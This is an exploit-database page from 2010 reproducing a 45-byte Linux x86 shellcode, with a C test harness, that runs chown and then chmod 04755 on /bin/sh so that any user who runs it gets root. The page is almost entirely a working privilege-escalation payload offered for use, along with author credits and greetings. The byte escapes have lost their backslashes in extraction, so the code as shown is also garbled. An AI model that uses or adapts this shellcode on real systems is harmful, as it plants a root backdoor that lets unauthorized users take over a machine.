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linux/x86 give all user root access when execute /bin/sh 45

Posted on 05 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 give all user root access when execute /bin/sh 45 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=================================================================
linux/x86 give all user root access when execute /bin/sh 45 bytes
=================================================================


/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /'             __  /'__`        / \__  /'__`                   0
0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/_\_&lt;_  /'___  /    /`'__          0
0       / /    /   / \__/  \_  \_   /           1
1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
1                   \____/ &gt;&gt; Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Name   : 45 bytes give all user root access when execute /bin/sh x86 linux shellcode
Date   : Sat Jun  5 16:10:00 2010
Author : gunslinger_ &lt;yudha.gunslinger[at]gmail.com&gt;
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org)
greetz to : flyff666, whitehat, ketek, chaer, peneter, cruz3n and all devilzc0de crew
*/
#include &lt;stdio.h&gt;

char *shellcode=
		&quot;xebx1f&quot;                    /* jmp    0x8048081 */
		&quot;x31xc0&quot;                    /* xor    %eax,%eax */
		&quot;xb0xb6&quot;                    /* mov    $0xb6,%al */
		&quot;x5b&quot;                        /* pop    %ebx */
		&quot;x31xc9&quot;                    /* xor    %ecx,%ecx */
		&quot;x31xd2&quot;                    /* xor    %edx,%edx */
		&quot;xcdx80&quot;                    /* int    $0x80 */
		&quot;x31xc0&quot;                    /* xor    %eax,%eax */
		&quot;xb0x0f&quot;                    /* mov    $0xf,%al */
		&quot;x89xdb&quot;                    /* mov    %ebx,%ebx */
		&quot;x66xb9xedx09&quot;            /* mov    $0x9ed,%cx */
		&quot;xcdx80&quot;                    /* int    $0x80 */
		&quot;x31xc0&quot;                    /* xor    %eax,%eax */
		&quot;xb0x01&quot;                    /* mov    $0x1,%al */
		&quot;x31xdb&quot;                    /* xor    %ebx,%ebx */
		&quot;xcdx80&quot;                    /* int    $0x80 */
		&quot;xe8xdcxffxffxff&quot;        /* call   0x8048062 */
		&quot;x2f&quot;                        /* das     */
		&quot;x62x69x6e&quot;                /* bound  %ebp,0x6e(%ecx) */
		&quot;x2f&quot;                        /* das     */
		&quot;x73x68&quot;;                   /* jae    0x80480f5 */

int main(void)
{
		fprintf(stdout,&quot;Length: %d
&quot;,strlen(shellcode));
		((void (*)(void)) shellcode)();
		return 0;
}



# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-05]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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